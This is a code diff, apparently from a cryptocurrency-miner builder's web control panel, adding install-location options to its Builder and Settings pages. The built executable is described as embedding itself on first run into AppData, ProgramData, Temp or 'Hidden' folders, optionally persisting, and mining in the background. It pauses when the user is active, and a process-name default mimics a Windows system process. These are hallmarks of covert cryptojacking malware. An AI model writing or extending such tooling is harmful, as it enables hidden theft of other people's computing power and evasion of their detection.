Add configurable install paths and enforce mining schedules.

Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.

server/web/src/pages/BuilderPage.tsx

@@ -3,6 +3,7 @@ import { api } from '../api/client';
 import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types';
 import { HelpTip, FieldHint } from '../components/HelpTip';
 import { SETUP_CHEATSHEET } from '../help/settingHelp';
+import { previewInstallPath } from '../help/installPreview';
 import './Pages.css';
 
 function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
@@ -29,6 +30,9 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build
     idle_duration_minutes: d.idle_duration_minutes,
     schedule_start: d.schedule_start,
     schedule_end: d.schedule_end,
+    install_base: d.install_base || 'localappdata',
+    install_custom_base: d.install_custom_base || '',
+    install_relative_path: d.install_relative_path || 'CryptoMiner/{worker}-{build_short}',
     pool_host: config.pool.host,
     pool_port: config.pool.port,
     pool_tls: config.pool.use_tls,
@@ -83,6 +87,10 @@ export default function BuilderPage() {
       setError('Wallet address is required');
       return;
     }
+    if (form.install_base === 'custom' && !form.install_custom_base.trim()) {
+      setError('Custom install base path is required when Install Base is Custom');
+      return;
+    }
 
     setBuilding(true);
     try {
@@ -112,6 +120,14 @@ export default function BuilderPage() {
     );
   }
 
+  const installPreview = previewInstallPath({
+    install_base: form.install_base,
+    install_custom_base: form.install_custom_base,
+    install_relative_path: form.install_relative_path,
+    worker_name: form.worker_name,
+    process_name: form.process_name,
+  });
+
   return (
     <div className="page fade-in">
       <div className="page-header">
@@ -339,6 +355,44 @@ export default function BuilderPage() {
 
             <div className="form-section">
               <h3>Install & Process</h3>
+              <p className="form-description">
+                Double-clicking the built `.exe` embeds the miner on first run: copies itself to the path below,
+                optionally persists, then starts mining in the background.
+              </p>
+              <div className="form-group">
+                <label className="label">Install Base Folder <HelpTip field="install_base" /></label>
+                <select className="select" value={form.install_base}
+                  onChange={(e) => updateField('install_base', e.target.value)}>
+                  <option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
+                  <option value="appdata">Roaming App Data (%APPDATA%)</option>
+                  <option value="programdata">Program Data (%ProgramData%)</option>
+                  <option value="userprofile">User Profile (%USERPROFILE%)</option>
+                  <option value="temp">Temp Folder (%TEMP%)</option>
+                  <option value="custom">Custom Path</option>
+                </select>
+                <FieldHint field="install_base" />
+              </div>
+              {form.install_base === 'custom' && (
+                <div className="form-group">
+                  <label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
+                  <input type="text" className="input mono" placeholder="C:\\Hidden\\Miner or %ProgramData%\\MyApp"
+                    value={form.install_custom_base}
+                    onChange={(e) => updateField('install_custom_base', e.target.value)} />
+                  <FieldHint field="install_custom_base" />
+                </div>
+              )}
+              <div className="form-group">
+                <label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
+                <input type="text" className="input mono"
+                  placeholder="CryptoMiner/{worker}-{build_short}"
+                  value={form.install_relative_path}
+                  onChange={(e) => updateField('install_relative_path', e.target.value)} />
+                <FieldHint field="install_relative_path" />
+              </div>
+              <div className="form-group">
+                <label className="label">Install Preview</label>
+                <code className="path-display">{installPreview}</code>
+              </div>
               <div className="form-group">
                 <label className="label">Process Name <HelpTip field="process_name" /></label>
                 <input type="text" className="input mono" placeholder="RuntimeBrokerHelper"

server/web/src/pages/SettingsPage.tsx

@@ -244,6 +244,46 @@ export default function SettingsPage() {
               />
             </div>
           </div>
+          <div className="form-section">
+            <h3>Install Location Defaults</h3>
+            <p className="section-desc">Where built installers embed the miner on first run.</p>
+            <div className="form-group">
+              <label className="label">Install Base Folder <HelpTip field="install_base" /></label>
+              <select
+                className="select"
+                value={config.default_agent_config.install_base || 'localappdata'}
+                onChange={(e) => updateField('default_agent_config.install_base', e.target.value)}
+              >
+                <option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
+                <option value="appdata">Roaming App Data (%APPDATA%)</option>
+                <option value="programdata">Program Data (%ProgramData%)</option>
+                <option value="userprofile">User Profile (%USERPROFILE%)</option>
+                <option value="temp">Temp Folder (%TEMP%)</option>
+                <option value="custom">Custom Path</option>
+              </select>
+            </div>
+            {config.default_agent_config.install_base === 'custom' && (
+              <div className="form-group">
+                <label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
+                <input
+                  type="text"
+                  className="input mono"
+                  value={config.default_agent_config.install_custom_base || ''}
+                  onChange={(e) => updateField('default_agent_config.install_custom_base', e.target.value)}
+                  placeholder="%ProgramData%\\HiddenApps"
+                />
+              </div>
+            )}
+            <div className="form-group">
+              <label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
+              <input
+                type="text"
+                className="input mono"
+                value={config.default_agent_config.install_relative_path || 'CryptoMiner/{worker}-{build_short}'}
+                onChange={(e) => updateField('default_agent_config.install_relative_path', e.target.value)}
+              />
+            </div>
+          </div>
           <div className="form-row">
             <div className="form-group">
               <label className="label">Display Mode <HelpTip field="display_mode" /></label>